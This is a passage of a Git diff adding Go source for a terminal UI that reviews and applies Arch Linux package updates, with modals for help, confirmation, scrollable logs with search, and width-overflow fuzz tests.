+ return "DOWNLOAD"
+ case phase == "verify":
+ return "VERIFY"
+ case phase == "install":
+ return "INSTALL"
+ case phase == "hooks":
+ return "HOOKS"
+ case strings.HasPrefix(phase, "fetch"):
+ return "FETCH"
+ case strings.HasPrefix(phase, "source"):
+ return "SOURCES"
+ case strings.HasPrefix(phase, "prepare"):
+ return "PREPARE"
+ case strings.HasPrefix(phase, "build"):
+ return "BUILD"
+ case strings.HasPrefix(phase, "check"):
+ return "CHECK"
+ case strings.HasPrefix(phase, "package"):
+ return "PACKAGE"
+ case strings.HasPrefix(phase, "pack"):
+ return "PACK"
+ }
+ return strings.ToUpper(phase)
+}
diff --git a/tui/internal/ui/layout_fuzz_test.go b/tui/internal/ui/layout_fuzz_test.go
@@ -0,0 +1,137 @@
+package ui
+
+import (
+ "strings"
+ "testing"
+
+ "updater-tui/internal/plan"
+)
+
+// adversarial strings that a PKGBUILD could genuinely contain in a description,
+// a source URL or an audit evidence line
+var ugly = []string{
+ "日本語のパッケージ説明",
+ "🎉🚀 emoji in a description",
+ "combining: e\u0301\u0301\u0301\u0301",
+ "zero\u200bwidth\u200bspaces",
+ "RTL \u202eoverride\u202c text",
+ "a\tb\tc",
+ strings.Repeat("x", 300),
+ "",
+ "\x1b[31mraw escape\x1b[0m",
+ "ff ligature and fi",
+ "👨👩👧👦 family zwj",
+}
+
+func TestRowsNeverOverflowWithUnicodeContent(t *testing.T) {
+ for _, s := range ugly {
+ doc := &plan.Plan{
+ Aur: []plan.AurUpdate{{Name: "pkg", Old: "1-1", New: "2-1", Tag: "!!",
+ Note: s}},
+ Repo: []plan.Upgrade{{Name: "r", Old: s, New: s, Delta: -1}},
+ Vcs: []plan.Vcs{{Name: "v-git", Old: s, New: s}},
+ Checks: []plan.Check{{OK: false, Label: s, Detail: s}},
+ Audits: map[string][]plan.Finding{
+ "pkg": {{Rule: s, Severity: "BLOCK", Title: s, Evidence: s}},
+ },
+ Advisories: []plan.Advisory{{ID: s, Severity: s, Fixed: s,
+ Packages: []string{s}, Issues: []string{s}}},
+ }
+ for _, width := range []int{60, 80, 100, 160} {
+ m := loaded(t, doc, width, 40)
+ m.modal = nil
+ for i, line := range strings.Split(m.View(), "\n") {
+ if got := displayWidth(line); got > width {
+ t.Errorf("width=%d content=%q: line %d is %d cells: %q",
+ width, s, i, got, plain(line))
+ }
+ }
+ // and every overlay must survive the same content
+ for _, show := range []string{"help", "confirm"} {
+ m2 := loaded(t, doc, width, 40)
+ switch show {
+ case "help":
+ m2.modal = newHelp()
+ case "confirm":
+ updated, _ := m2.confirmApply()
+ m2 = updated.(Model)
+ }
+ if m2.modal == nil {
+ continue
+ }
+ for i, line := range strings.Split(m2.modal.View(width, 40), "\n") {
+ if got := displayWidth(line); got > width {
+ t.Errorf("%s width=%d content=%q: line %d is %d cells: %q",
+ show, width, s, i, got, plain(line))
+ }
+ }
+ }
+ }
+ }
+}
+
+func TestDetailOverlayNeverOverflows(t *testing.T) {
+ for _, s := range ugly {
+ d := &plan.Detail{
+ Package: s, Installed: s, Available: s, BaselineNote: s,
+ Diff: plan.Diff{Added: 1, Removed: 1, Lines: []plan.DiffLine{
+ {Kind: "add", Text: s}, {Kind: "del", Text: s}, {Kind: "gap"},
+ {Kind: "ctx", Text: s}}},
+ Findings: []plan.Finding{{Rule: s, Severity: "BLOCK", Title: s, Evidence: s}},
+ Advisories: []plan.Advisory{{ID: s, Severity: s, Fixed: s, Issues: []string{s}}},
+ Pkgbuild: []string{s, s},
+ Meta: plan.Meta{Maintainer: s, URL: s, Depends: []string{s}},
+ }
+ for _, width := range []int{60, 100, 160} {
+ for tab := 0; tab < 4; tab++ {
+ modal := newDetail("pkg", width)
+ modal.Update(detailMsg{pkg: "pkg", detail: d})
+ modal.tab = tab
+ modal.built = false
+ for i, line := range strings.Split(modal.View(width, 40), "\n") {
+ if got := displayWidth(line); got > width {
+ t.Errorf("tab=%d width=%d content=%q: line %d is %d cells",
+ tab, width, s, i, got)
+ }
+ }
+ }
+ }
+ }
+}
+
+func TestTextAndAdvisoryModalsNeverOverflow(t *testing.T) {
+ for _, s := range ugly {
+ for _, lines := range [][]string{
+ advisoryLines(&plan.AdvisoryDetail{ID: s, Available: true, Severity: s,
+ Kind: s, Affected: s, Fixed: s, Packages: []string{s},
+ Issues: []string{s, s}, References: []string{s}, Notes: s, URL: s}),
+ securityLines(&plan.SecurityReport{Available: true, Total: 1, Fixable: 1,
+ Advisories: []plan.Advisory{{ID: s, Severity: s, Fixed: s,
+ Packages: []string{s}, Issues: []string{s}}}}),
+ } {
+ for _, width := range []int{60, 100, 160} {
+ m := newText("t")
+ m.Update(textBodyMsg{title: "t", lines: lines})
+ for i, line := range strings.Split(m.View(width, 40), "\n") {
+ if got := displayWidth(line); got > width {
+ t.Errorf("width=%d content=%q: line %d is %d cells",
+ width, s, i, got)
+ }
+ }
+ }
+ }
+ }
+}
+
+func TestLoadingViewNeverOverflows(t *testing.T) {
+ for _, width := range []int{50, 60, 100} {
+ m := New(plan.Backend{}, testConfig(t))
+ m.width, m.height = width, 20
+ m.status = "日本語のとても長いステータスメッセージ"
+ for i, line := range strings.Split(m.View(), "\n") {
+ if got := displayWidth(line); got > width {
+ t.Errorf("width=%d: line %d is %d cells: %q", width, i, got, plain(line))
+ }
+ }
+ }
+}
diff --git a/tui/internal/ui/loading.go b/tui/internal/ui/loading.go
@@ -0,0 +1,396 @@
+package ui
+
+import (
+ "encoding/base64"
+ "fmt"
+ "io"
+ "os"
+ "regexp"
+ "strings"
+ "time"
+
+ tea "github.com/charmbracelet/bubbletea"
+ "github.com/charmbracelet/x/ansi"
+)
+
+// spinnerFrames is the classic braille cycle. It reads as motion even in a
+// terminal whose font lacks the box-drawing glyphs, because the dots move.
+var spinnerFrames = []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"}
+
+// spinnerTickMsg advances the spinner.
+type spinnerTickMsg struct{}
+
+// spinnerTick schedules the next frame. 80ms is fast enough to look alive and
+// slow enough not to cost anything.
+func spinnerTick() tea.Cmd {
+ return tea.Tick(80*time.Millisecond, func(time.Time) tea.Msg {
+ return spinnerTickMsg{}
+ })
+}
+
+// loadingModal is a waiting state that says what it is waiting for.
+//
+// A spinner with no label is a lie: it implies progress that may not exist.
+type loadingModal struct {
+ title string
+ detail string
+ frame int
+ until time.Time
+}
+
+func newLoading(title, detail string) *loadingModal {
+ return &loadingModal{title: title, detail: detail}
+}
+
+func (l *loadingModal) Update(msg tea.Msg) (modal, tea.Cmd) {
+ switch msg.(type) {
+ case spinnerTickMsg:
+ // advanced by the model, which owns the tick chain
+ l.frame++
+ return l, nil
+ case tea.KeyMsg:
+ // waiting is not cancellable yet; esc must not pretend otherwise
+ return l, nil
+ }
+ return l, nil
+}
+
+func (l *loadingModal) View(width, height int) string {
+ spin := Accent.Render(spinnerFrames[l.frame%len(spinnerFrames)])
+ body := Title.Render(l.title) + "\n\n" +
+ " " + spin + " " + Text.Render(l.detail)
+ return place(Box.Render(body), width, height)
+}
+
+// textModal is a scrollable block of pre-styled lines.
+//
+// An advisory, a full audit run, a package's long-form detail: anything that
+// would otherwise mean opening a link and reading it elsewhere.
+type textModal struct {
+ title string
+ lines []string
+ scroll int
+ loading bool
+ detail string
+ footer string
+ frame int
+
+ //: incremental search. A command queue runs to hundreds of lines and the
+ //: question is usually "does this touch /etc", not "read all of it".
+ //: whether the view tracks the end as new lines arrive. Scrolling up stops
+ //: it -- someone reading back does not want the page pulled away -- and G
+ //: starts it again.
+ follow bool
+ //: set once the view has been shown, so "at the end" can be judged
+ rows int
+ //: colour the lines by how alarming they look, and offer to copy them
+ logMode bool
+
+ searching bool
+ query string
+ matches []int
+ matchAt int
+ searchErr string
+}
+
+// logLine colours a line by how alarming it looks.
+//
+// A build's output is mostly routine, and the two lines that matter are the
+// ones that say something went wrong. Reading a wall of undifferentiated grey
+// to find them is the reason log viewers colour at all.
+func logLine(line string) string {
+ plain := ansi.Strip(line)
+ switch {
+ case errorLine.MatchString(plain):
+ return Err.Render(line)
+ case warnLine.MatchString(plain):
+ return Warn.Render(line)
+ case strings.HasPrefix(strings.TrimSpace(plain), "==>"):
+ // makepkg's own headings: structure, not a problem
+ return Title.Render(line)
+ default:
+ return Muted.Render(line)
+ }
+}
+
+var (
+ errorLine = regexp.MustCompile(
+ `(?i)\b(error|failed|failure|fatal|cannot|panic|abort|denied|refused|no such file)\b`)
+ warnLine = regexp.MustCompile(
+ `(?i)\b(warning|warn|deprecated|skipped|missing|conflict)\b`)
+)
+
+// copy puts the whole view on the clipboard.
+//
+// OSC 52 rather than a helper program: it travels over SSH, needs nothing
+// installed, and cannot fail because a tool is absent. Terminals cap how much
+// they will accept, so this is bounded and says when it truncated.
+// clipboard is where a copy is written. A variable so tests do not spray
+// ninety kilobytes of base64 across the test runner's output.
+var clipboard io.Writer = os.Stdout
+
+func (t *textModal) copy() tea.Cmd {
+ const limit = 96 * 1024
+ text := strings.Join(t.lines, "\n")
+ truncated := false
+ if len(text) > limit {
+ text, truncated = text[:limit], true
+ }
+ return func() tea.Msg {
+ fmt.Fprint(clipboard, osc52(text))
+ if truncated {
+ return copiedMsg{what: "copied (truncated; full log on disk)"}
+ }
+ return copiedMsg{what: fmt.Sprintf("copied %d lines", len(t.lines))}
+ }
+}
+
+// osc52 wraps text in the terminal's clipboard sequence.
+func osc52(text string) string {
+ return "\x1b]52;c;" + base64.StdEncoding.EncodeToString([]byte(text)) + "\a"
+}
+
+// newText opens at the top. A log is the exception and says so by asking to
+// follow -- help that opened scrolled to its last line is help nobody reads.
+func newText(title string) *textModal {
+ return &textModal{title: title}
+}
+
+func newTextLoading(title, detail string) *textModal {
+ return &textModal{title: title, loading: true, detail: detail}
+}
+
+// textBodyMsg delivers the lines once a fetch finishes.
+type textBodyMsg struct {
+ title string
+ lines []string
+ foot string
+ err error
+}
+
+func (t *textModal) Update(msg tea.Msg) (modal, tea.Cmd) {
+ switch msg := msg.(type) {
+ case spinnerTickMsg:
+ // advanced by the model, which owns the tick chain
+ t.frame++
+ return t, nil
+
+ case textBodyMsg:
+ if msg.title != t.title {
+ return t, nil // a stale fetch for a modal we have moved on from
+ }
+ t.loading = false
+ if msg.err != nil {
+ t.lines = []string{Err.Render("could not load this"), "",
+ Muted.Render(msg.err.Error())}
+ return t, nil
+ }
+ t.lines, t.footer = msg.lines, msg.foot
+ return t, nil
+
+ case tea.KeyMsg:
+ if t.searching {
+ return t.updateSearch(msg)
+ }
+ switch msg.String() {
+ case "q", "esc", "ctrl+c":
+ return nil, nil
+ case "/":
+ t.searching = true
+ t.query = ""
+ t.searchErr = ""
+ case "n":
+ t.nextMatch(1)
+ case "N":
+ t.nextMatch(-1)
+ case "j", "down":
+ t.scroll++
+ case "k", "up":
+ t.follow = false
+ t.scroll--
+ case "ctrl+d", "pgdown":
+ t.scroll += 10
+ case "ctrl+u", "pgup":
+ t.follow = false
+ t.scroll -= 10
+ case "g", "home":
+ t.follow = false
+ t.scroll = 0
+ case "G", "end":
+ t.follow = true
+ t.scroll = 1 << 30
+ case "f":
+ // resume following the end, for a view that was scrolled away
+ t.follow = !t.follow
+ if t.follow {
+ t.scroll = 1 << 30
+ }
+ case "c":
+ return t, t.copy()
+ }
+ }
+ return t, nil
+}
+
+// updateSearch handles keys while the query is being typed.
+func (t *textModal) updateSearch(msg tea.KeyMsg) (modal, tea.Cmd) {
+ switch msg.Type {
+ case tea.KeyEsc:
+ t.searching = false
+ t.query = ""
+ t.matches = nil
+ t.searchErr = ""
+ return t, nil
+ case tea.KeyEnter:
+ t.searching = false
+ if t.query != "" && len(t.matches) == 0 {
+ t.searchErr = "no match"
+ }
+ // Asking for something and being carried past it is not an answer:
+ // a committed search stops following, so the hit stays on screen.
+ if t.query != "" {
+ t.follow = false
+ } else {
+ t.follow = true
+ }
+ return t, nil
+ case tea.KeyBackspace:
+ if t.query != "" {
+ runes := []rune(t.query)
+ t.query = string(runes[:len(runes)-1])
+ }
+ t.recompute()
+ return t, nil
+ case tea.KeyRunes, tea.KeySpace:
+ t.query += string(msg.Runes)
+ if msg.Type == tea.KeySpace {
+ t.query += " "
+ }
+ t.recompute()
+ return t, nil
+ }
+ return t, nil
+}
+
+// recompute refreshes the match list and jumps to the first hit.
+func (t *textModal) recompute() {
+ t.searchErr = ""
+ t.matches = t.matches[:0]
+ if t.query == "" {
+ return
+ }
+ needle := strings.ToLower(t.query)
+ for i, line := range t.lines {
+ if strings.Contains(strings.ToLower(ansi.Strip(line)), needle) {
+ t.matches = append(t.matches, i)
+ }
+ }
+ t.matchAt = 0
+ if len(t.matches) > 0 {
+ t.scroll = t.matches[0]
+ }
+}
+
+func (t *textModal) nextMatch(step int) {
+ if len(t.matches) == 0 {
+ return
+ }
+ t.matchAt = (t.matchAt + step + len(t.matches)) % len(t.matches)
+ t.scroll = t.matches[t.matchAt]
+}
+
+func (t *textModal) View(width, height int) string {
+ inner := width - 8
+ if inner < 20 {
+ inner = 20
+ }
+ rows := height - 10
+ if rows < 3 {
+ rows = 3
+ }
+
+ if t.loading {
+ spin := Accent.Render(spinnerFrames[t.frame%len(spinnerFrames)])
+ body := Title.Render(t.title) + "\n\n" + " " + spin + " " + Text.Render(t.detail)
+ return place(Box.Render(body), width, height)
+ }
+
+ var b strings.Builder
+ b.WriteString(Title.Render(t.title))
+ b.WriteString("\n\n")
+
+ total := len(t.lines)
+ // The reader's place is theirs unless they are following the end, in which
+ // case new lines carry the view with them.
+ t.rows = rows
+ if t.scroll > total-rows {
+ t.scroll = total - rows
+ }
+ if t.scroll < 0 {
+ t.scroll = 0
+ }
+ // Following applies only to an unfiltered view. With a query live the
+ // reader is looking at a result, and this would drag them back to the end
+ // on every render -- which is what made a search report "3 matches" while
+ // showing the wrong part of the log.
+ if t.follow && !t.searching && t.query == "" {
+ t.scroll = max(0, total-rows)
+ }
+ end := min(total, t.scroll+rows)
+ for _, line := range t.lines[t.scroll:end] {
+ if t.logMode {
+ line = logLine(line)
+ }
+ b.WriteString(ansi.Truncate(line, inner, "…") + "\n")
+ }
+ for i := end - t.scroll; i < rows; i++ {
+ b.WriteString("\n")
+ }
+
+ pos := fmt.Sprintf("[%d/%d]", t.scroll+1, max(1, total))
+
+ // Built from what the view actually offers, rather than the same three
+ // keys written out in four places with different accuracy.
+ keys := []string{"[j/k] scroll", "[/] search"}
+ if !t.follow {
+ keys = append([]string{"[f] follow"}, keys...)
+ } else {
+ keys = append(keys, "[f] unfollow")
+ }
+ if t.logMode {
+ keys = append(keys, "[c] copy")
+ }
+ keys = append(keys, "[esc] close")
+ hint := strings.Join(keys, " • ")
+
+ if len(t.matches) > 0 {
+ hint = fmt.Sprintf("[n/N] %d/%d • ", t.matchAt+1, len(t.matches)) + hint
+ } else if t.searchErr != "" {
+ hint = Warn.Render(t.searchErr) + " • " + hint
+ }
+ // The position is right-aligned and must survive: a long hint (a full log
+ // path, say) would otherwise push it off the end.
+ room := inner - len(pos) - 2
+ if room < 8 {
+ room = 8
+ }
+ hint = ansi.Truncate(hint, room, "…")
+ gap := max(1, inner-ansi.StringWidth(hint)-len(pos))
+ b.WriteString("\n" + Desc.Render(hint) + strings.Repeat(" ", gap) + Muted.Render(pos))
+
+ if t.searching || t.query != "" {
+ cursor := ""
+ if t.searching {
+ cursor = Accent.Render("_")
+ }
+ label := Muted.Render("/") + Text.Render(t.query) + cursor
+ if hits := len(t.matches); hits > 0 {
+ // Was glamour markup, which lipgloss renders literally -- the
+ // footer read "{underline}2 match(es){/}".
+ label += " " + Accent.Render(fmt.Sprintf("%d match(es)", hits))
+ }
+ b.WriteString("\n" + ansi.Truncate(label, inner, "…"))
+ }
+
+ return place(Box.Render(b.String()), width, height)
+}
diff --git a/tui/internal/ui/modal.go b/tui/internal/ui/modal.go
@@ -0,0 +1,328 @@
+package ui
+
+import (
+ "fmt"
+ "strings"
+
+ tea "github.com/charmbracelet/bubbletea"
+ "github.com/charmbracelet/lipgloss"
+ "github.com/charmbracelet/x/ansi"
+)
+
+// modal is an overlay that takes over the view and the keyboard.
+//
+// Modals replace rather than float: laying content over a scrolling list is
+// fiddly, and a full replacement keeps the grid honest. `esc` always closes.
+type modal interface {
+ Update(tea.Msg) (modal, tea.Cmd)
+ View(width, height int) string
+}
+
+// keyDesc is one row of a keymap.
+type keyDesc struct{ key, desc string }
+
+// renderKeymap lays out key/description rows on a fixed row count so the box
+// does not change height as you switch tabs.
+func renderKeymap(items []keyDesc, rows int) string {
+ var b strings.Builder
+ for i := 0; i < rows; i++ {
+ if i < len(items) {
+ switch {
+ case items[i].key == "" && items[i].desc != "":
+ // A heading for the keys that follow. Aligned with the
+ // descriptions it labels: flush left it sat directly under the
+ // row above and read as that row wrapping onto a second line.
+ b.WriteString(KeyField("", 12))
+ b.WriteString(Muted.Render(items[i].desc))
+ case items[i].key == "":
+ // deliberate blank, for spacing
+ default:
+ b.WriteString(KeyField(items[i].key, 12))
+ b.WriteString(Desc.Render(" " + items[i].desc))
+ }
+ }
+ b.WriteString("\n")
+ }
+ return strings.TrimRight(b.String(), "\n")
+}
+
+// tabBar draws the tab strip with the active tab highlighted.
+func tabBar(titles []string, active int) string {
+ parts := make([]string, 0, len(titles))
+ for i, title := range titles {
+ label := " " + title + " "
+ if i == active {
+ parts = append(parts, TabActive.Render(label))
+ } else {
+ parts = append(parts, TabIdle.Render(label))
+ }
+ }
+ return strings.Join(parts, " ")
+}
+
+// place centres a box on the screen and guarantees it cannot exceed the
+// terminal.
+//
+// lipgloss.Place happily returns a box wider -- and taller -- than what it was
+// given, which makes every line wrap and pushes the top of the screen away.
+// The individual builders truncate, but this is the backstop that makes
+// overflow impossible rather than merely unlikely.
+//
+// It clipped only the width, and PlaceVertical returns a too-tall string
+// untouched: the help box is seventeen lines whatever the height, so on a
+// twelve-line terminal it simply overflowed. Every overlay relied on this.
+func place(box string, width, height int) string {
+ placed := lipgloss.Place(width, height, lipgloss.Center, lipgloss.Center, box)
+ if width <= 0 && height <= 0 {
+ return placed
+ }
+ lines := strings.Split(placed, "\n")
+ if width > 0 {
+ for i, line := range lines {
+ if ansi.StringWidth(line) > width {
+ lines[i] = ansi.Truncate(line, width, "")
+ }
+ }
+ }
+ if height > 0 && len(lines) > height {
+ // Keep the centre of the box rather than its top: the middle carries
+ // the text, the edges carry the border.
+ drop := len(lines) - height
+ top := drop / 2
+ lines = lines[top : top+height]
+ }
+ return strings.Join(lines, "\n")
+}
+
+// --------------------------------------------------------------------------
+// help
+// --------------------------------------------------------------------------
+
+// helpModal is the keymap, over whichever screen asked for it.
+//
+// The two dashboards answer to different keys: nothing about skipping a
+// package means anything mid-transaction, and nothing about stopping a build
+// means anything before one has started. Showing both sets together made each
+// screen's help a third wrong.
+type helpModal struct {
+ tab int
+ tabs []string
+ keys [][]keyDesc
+}
+
+// The two dashboards answer to different keys, so they get different keymaps.
+// Nothing about skipping a package means anything mid-transaction, and nothing
+// about stopping a build means anything before one has started; showing both
+// sets together made each screen's help a third wrong.
+
+// -- the main dashboard, before anything is applied ------------------------
+
+var listHelpTabs = []string{"NAV", "DECIDE", "VIEW", "META"}
+
+var listHelpKeys = [][]keyDesc{
+ {
+ {"j / k", "move down / up"},
+ {"gg / G", "jump to top / bottom"},
+ {"ctrl+d / u", "half page"},
+ {"enter", "collapse / expand / open"},
+ {"tab", "cycle tabs"},
+ {"esc", "close popups"},
+ {"q", "quit"},
+ },
+ {
+ {"space", "skip for this run"},
+ {"i", "ignore permanently"},
+ {"u", "undo the last decision"},
+ {"a", "review and apply"},
+ {"r", "reload the plan"},
+ {"v", "hide or show the dashboard"},
+ },
+ {
+ {"enter", "collapse / expand / open"},
+ {"y", "copy the selected line"},
+ {"o", "open the diff in a pager"},
+ {"/", "filter by name"},
+ {"x", "clear the filter"},
+ },
+ {
+ {"?", "toggle this help"},
+ {"y", "copy the selected line"},
+ {"c", "acknowledge an advisory"},
+ {"C", "clear acknowledgements"},
+ {"R", "run a check's suggested command"},
+ {"n", "mark the arch news as read"},
+ },
+}
+
+// -- the run dashboard, once a transaction is under way --------------------
+
+var runHelpTabs = []string{"NAV", "OUTPUT"}
+
+var runHelpKeys = [][]keyDesc{
+ {
+ {"j / k", "move between warnings"},
+ {"enter", "read the selected warning"},
+ {"d", "dismiss it for this session"},
+ {"v", "hide the dashboard, keep the feed"},
+ {"esc", "collapse, or go back once finished"},
+ {"q", "quit once the run has finished"},
+ {"ctrl+c", "stop the run; twice confirms"},
+ {"R", "finish what could not be built"},
+ },
+ {
+ {"o", "the output, full screen"},
+ {"l", "the last few lines, inline"},
+ {"", ""},
+ {"", "inside the output view"},
+ {"/", "search"},
+ {"n / N", "next / previous match"},
+ {"j / k", "scroll"},
+ {"g / G", "top / bottom"},
+ {"f", "follow, or stop following"},
+ {"c", "copy the whole log"},
+ },
+}
+
+func helpRows(keys [][]keyDesc) int {
+ rows := 0
+ for _, tab := range keys {
+ if len(tab) > rows {
+ rows = len(tab)
+ }
+ }
+ return rows
+}
+
+func newHelp() *helpModal {
+ return &helpModal{tabs: listHelpTabs, keys: listHelpKeys}
+}
+
+func newRunHelp() *helpModal {
+ return &helpModal{tabs: runHelpTabs, keys: runHelpKeys}
+}
+
+func (h *helpModal) Update(msg tea.Msg) (modal, tea.Cmd) {
+ key, ok := msg.(tea.KeyMsg)
+ if !ok {
+ return h, nil
+ }
+ switch key.String() {
+ case "q", "esc", "?", "enter", "ctrl+c":
+ return nil, nil
+ case "tab", "l", "right":
+ h.tab = (h.tab + 1) % len(h.tabs)
+ case "shift+tab", "h", "left":
+ h.tab--
+ if h.tab < 0 {
+ h.tab = len(h.tabs) - 1
+ }
+ }
+ return h, nil
+}
+
+func (h *helpModal) View(width, height int) string {
+ var b strings.Builder
+ b.WriteString(Title.Render("KEYMAP"))
+ b.WriteString("\n\n")
+ b.WriteString(tabBar(h.tabs, h.tab))
+ b.WriteString("\n\n")
+ b.WriteString(renderKeymap(h.keys[h.tab], helpRows(h.keys)))
+ b.WriteString("\n\n")
+ b.WriteString(Desc.Render("[tab] switch • [esc] close"))
+
+ box := Box.Render(b.String())
+ return place(box, width, height)
+}
+
+// --------------------------------------------------------------------------
+// confirm
+// --------------------------------------------------------------------------
+
+// confirmModal states exactly what is about to run, and refuses to run anything
+// when the plan would be a partial upgrade.
+type confirmModal struct {
+ commands []string
+ notes []string
+ warnings []string
+}
+
+func newConfirm(commands, notes, warnings []string) *confirmModal {
+ return &confirmModal{commands: commands, notes: notes, warnings: warnings}
+}
+
+// confirmedMsg and cancelledMsg carry the user's answer back to the model.
+type confirmedMsg struct{}
+type cancelledMsg struct{}
+
+func (c *confirmModal) Update(msg tea.Msg) (modal, tea.Cmd) {
+ key, ok := msg.(tea.KeyMsg)
+ if !ok {
+ return c, nil
+ }
+ switch key.String() {
+ case "y", "Y", "enter":
+ return nil, func() tea.Msg { return confirmedMsg{} }
+ case "n", "N", "q", "esc", "ctrl+c":
+ return nil, func() tea.Msg { return cancelledMsg{} }
+ }
+ return c, nil
+}
+
+func (c *confirmModal) View(width, height int) string {
+ var b strings.Builder
+ b.WriteString(Title.Render("APPLY THIS PLAN?"))
+ b.WriteString("\n\n")
+ for i, cmd := range c.commands {
+ b.WriteString(" " + Accent.Render(fmt.Sprintf("%d.", i+1)) + " " + Text.Render(cmd) + "\n")
+ if i < len(c.notes) && c.notes[i] != "" {
+ b.WriteString(" " + Muted.Render(c.notes[i]) + "\n")
+ }
+ }
+ if len(c.warnings) > 0 {
+ b.WriteString("\n")
+ for _, warning := range c.warnings {
+ b.WriteString(Warn.Render(" ! "+warning) + "\n")
+ }
+ }
+ b.WriteString("\n")
+ b.WriteString(Text.Render(" Apply? ") + Muted.Render("[y/N]"))
+ box := Box.Render(strings.TrimRight(b.String(), "\n"))
+ return place(box, width, height)
+}
+
+// --------------------------------------------------------------------------
+// message
+// --------------------------------------------------------------------------
+
+// messageModal is a one-line acknowledgement, used for actions that have no
+// visible result of their own.
+type messageModal struct {
+ title string
+ body []string
+}
+
+func newMessage(title string, body ...string) *messageModal {
+ return &messageModal{title: title, body: body}
+}
+
+func (m *messageModal) Update(msg tea.Msg) (modal, tea.Cmd) {
+ if key, ok := msg.(tea.KeyMsg); ok {
+ switch key.String() {
+ case "q", "esc", "enter", " ", "ctrl+c":
+ return nil, nil
+ }
+ }
+ return m, nil
+}
+
+func (m *messageModal) View(width, height int) string {
+ var b strings.Builder
+ b.WriteString(Title.Render(m.title))
+ b.WriteString("\n\n")
+ for _, line := range m.body {
+ b.WriteString(line + "\n")
+ }
+ b.WriteString("\n")
+ b.WriteString(Desc.Render("[esc] close"))
+ return place(Box.Render(strings.TrimRight(b.String(), "\n")), width, height)
+}
diff --git a/tui/internal/ui/model.go b/tui/internal/ui/model.go
@@ -0,0 +1,2125 @@
+package ui
+
+import (
+ "context"
+ "errors"
+ "fmt"
+ "os"
+ "os/exec"
+ "path/filepath"
+ "strings"
+ "time"
+
+ tea "github.com/charmbracelet/bubbletea"
+ "github.com/charmbracelet/lipgloss"
+ "github.com/charmbracelet/x/ansi"
+
+ "updater-tui/internal/config"
+ "updater-tui/internal/plan"
+)
+
+// sudoMsg reports whether the credentials were cached.
+type sudoMsg struct{ err error }
+
+// refreshMsg asks for the local checks to be re-read after a command ran.
+type refreshMsg struct{}
+
+// checksMsg carries a refreshed set of machine-local checks.
+type checksMsg struct {
+ covers []string
+ checks []plan.Check
+ err error
+}
+
+// loadedMsg carries the backend's plan back into the update loop.
+type loadedMsg struct {
+ plan *plan.Plan
+ err error
+}
+
+// copiedMsg reports a clipboard write so the status line can confirm it.
+type copiedMsg struct{ what string }
+
+// streamEventMsg carries one protocol event in from the backend.
+type streamEventMsg struct{ event plan.Event }
+
+// streamErrorMsg reports a line the reader could not parse.
+type streamErrorMsg struct{ err error }
+
+// streamClosedMsg means the backend has exited.
+type streamClosedMsg struct{}
+
+// waitForEvent reads the next thing the backend says.
+//
+// Both channels are watched in one select so a protocol error cannot sit
+// unread, but once the error channel closes we must not keep selecting on it:
+// a closed channel is always ready and would spin.
+func waitForEvent(s *plan.Stream) tea.Cmd {
+ return func() tea.Msg {
+ select {
+ case event, ok := <-s.Events:
+ if !ok {
+ return streamClosedMsg{}
+ }
+ return streamEventMsg{event: event}
+ case err, ok := <-s.ProtocolErrors:
+ if !ok {
+ event, stillOpen := <-s.Events
+ if !stillOpen {
+ return streamClosedMsg{}
+ }
+ return streamEventMsg{event: event}
+ }
+ return streamErrorMsg{err: err}
+ }
+ }
+}
+
+// undoKind distinguishes the two decisions that can be reversed.
+type undoKind int
+
+const (
+ undoSkip undoKind = iota
+ undoIgnore
+)
+
+type undoEntry struct {
+ kind undoKind
+ name string
+ //: which map the decision wrote to, and what it held before. A toggle
+ //: leaves the key present either way, so undo has to be told the prior
+ //: state rather than inferring it -- inferring left "skip then unskip"
+ //: unable to put the skip back.
+ repo bool
+ wasOn bool
+}
+
+// Model is the whole application state.
+type Model struct {
+ backend plan.Backend
+ cfg *config.Config
+
+ doc *plan.Plan
+ roots []*Node
+ all []*Node
+ visible []*Node
+
+ cursor int
+ offset int
+ width int
+ height int
+
+ loading bool
+ //: when the current wait began, so the screen can say how long it has been
+ loadingAt time.Time
+ err error
+ hint string
+
+ //: decisions. Skip and hold are per-run and reversible; ignore is written to
+ //: the config and survives restarts.
+ skipped map[string]bool
+ held map[string]bool
+ //: packages explicitly picked with `s`. While any are picked, only those
+ //: are applied and everything else is held back -- the inverse of skipping
+ //: one at a time, for "I want these two and nothing else".
+ solo map[string]bool
+ undo []undoEntry
+
+ //: cancels the apply's context, called when the run ends so nothing is
+ //: left registered against context.Background()
+ cancelApply context.CancelFunc
+
+ filter string
+ filtering bool
+
+ modal modal
+ //: set while a confirmation is for clearing acknowledgements rather than
+ //: applying, so one modal can serve both
+ pendingClear bool
+ //: likewise for marking the news as read
+ pendingNews bool
+ //: and for running a check's suggested command
+ pendingCommand []string
+ //: set when a confirmation is waiting on sudo credentials
+ pendingApply bool
+ //: whether sudo has been satisfied this session
+ sudoReady bool
+ status string
+ statusAt time.Time
+ //: animation frame for the startup spinner
+ spin int
+
+ //: apply mode
+ stream *plan.Stream
+ build *BuildView
+ abortArmed bool
+}
+
+// New builds a model that will load through the given backend.
+func New(backend plan.Backend, cfg *config.Config) Model {
+ if cfg == nil {
+ cfg = config.Load()
+ }
+ return Model{
+ backend: backend, cfg: cfg,
+ skipped: map[string]bool{}, held: map[string]bool{}, solo: map[string]bool{},
+ loading: true, loadingAt: time.Now(), width: 100, height: 30,
+ }
+}
+
+// Init kicks off the first load.
+func (m Model) Init() tea.Cmd { return tea.Batch(m.load(), spinnerTick()) }
+
+// SetHint records how to fix a missing backend.
+func (m *Model) SetHint(h string) { m.hint = h }
+
+// reloadChecks refreshes the local checks, keeping the rest of the plan and
+// every expansion exactly as it was.
+func (m Model) reloadChecks() tea.Cmd {
+ return func() tea.Msg {
+ ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
+ defer cancel()
+ checks, covers, err := m.backend.LoadChecks(ctx)
+ return checksMsg{checks: checks, covers: covers, err: err}
+ }
+}
+
+// mergeChecks folds a refreshed set of checks into the plan.
+//
+// `covers` names the labels the refresh actually recomputed. Those are
+// authoritative -- a row the backend no longer reports is gone, and dropping
+// it is the point, because otherwise a resolved condition keeps its stale glyph
+// and its "run the fix" action forever. Everything outside `covers` is a row
+// the refresh cannot see, and is left exactly as the plan found it.
+func (m *Model) mergeChecks(fresh []plan.Check, covers []string) {
+ covered := make(map[string]bool, len(covers))
+ for _, label := range covers {
+ covered[label] = true
+ }
+ byLabel := make(map[string]plan.Check, len(fresh))
+ for _, c := range fresh {
